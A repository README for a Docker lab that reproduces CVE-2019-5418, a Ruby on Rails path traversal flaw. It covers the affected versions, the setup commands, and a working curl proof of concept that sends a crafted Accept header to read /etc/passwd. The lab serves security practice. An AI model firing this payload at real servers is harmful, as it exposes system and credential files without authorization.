daehyeok0618/cve-2019-5418Docker-based lab environment for CVE-2019-5418 Ruby on Rails path traversal exploit, with PoC curl commands to read arbitrary server files via crafted Accept headers.
This project is an environment for practicing and reproducing the local file inclusion vulnerability (CVE-2019-5418) in Ruby on Rails. This vulnerability allows reading arbitrary files on the server through path traversal via the Accept header.
Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
Ruby on Rails Action View versions <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 have a local file inclusion vulnerability.
When render file is used in a controller to render a view from outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value Accept: ../../../../../../../../etc/passwd{{, an attacker can exploit a path traversal vulnerability to read arbitrary files.
Run the following commands to compile and start Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
After the server starts, you can visit the Ruby on Rails page by accessing http://your-ip:3000.
curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Successfully read arbitrary files inside the server through the Accept header.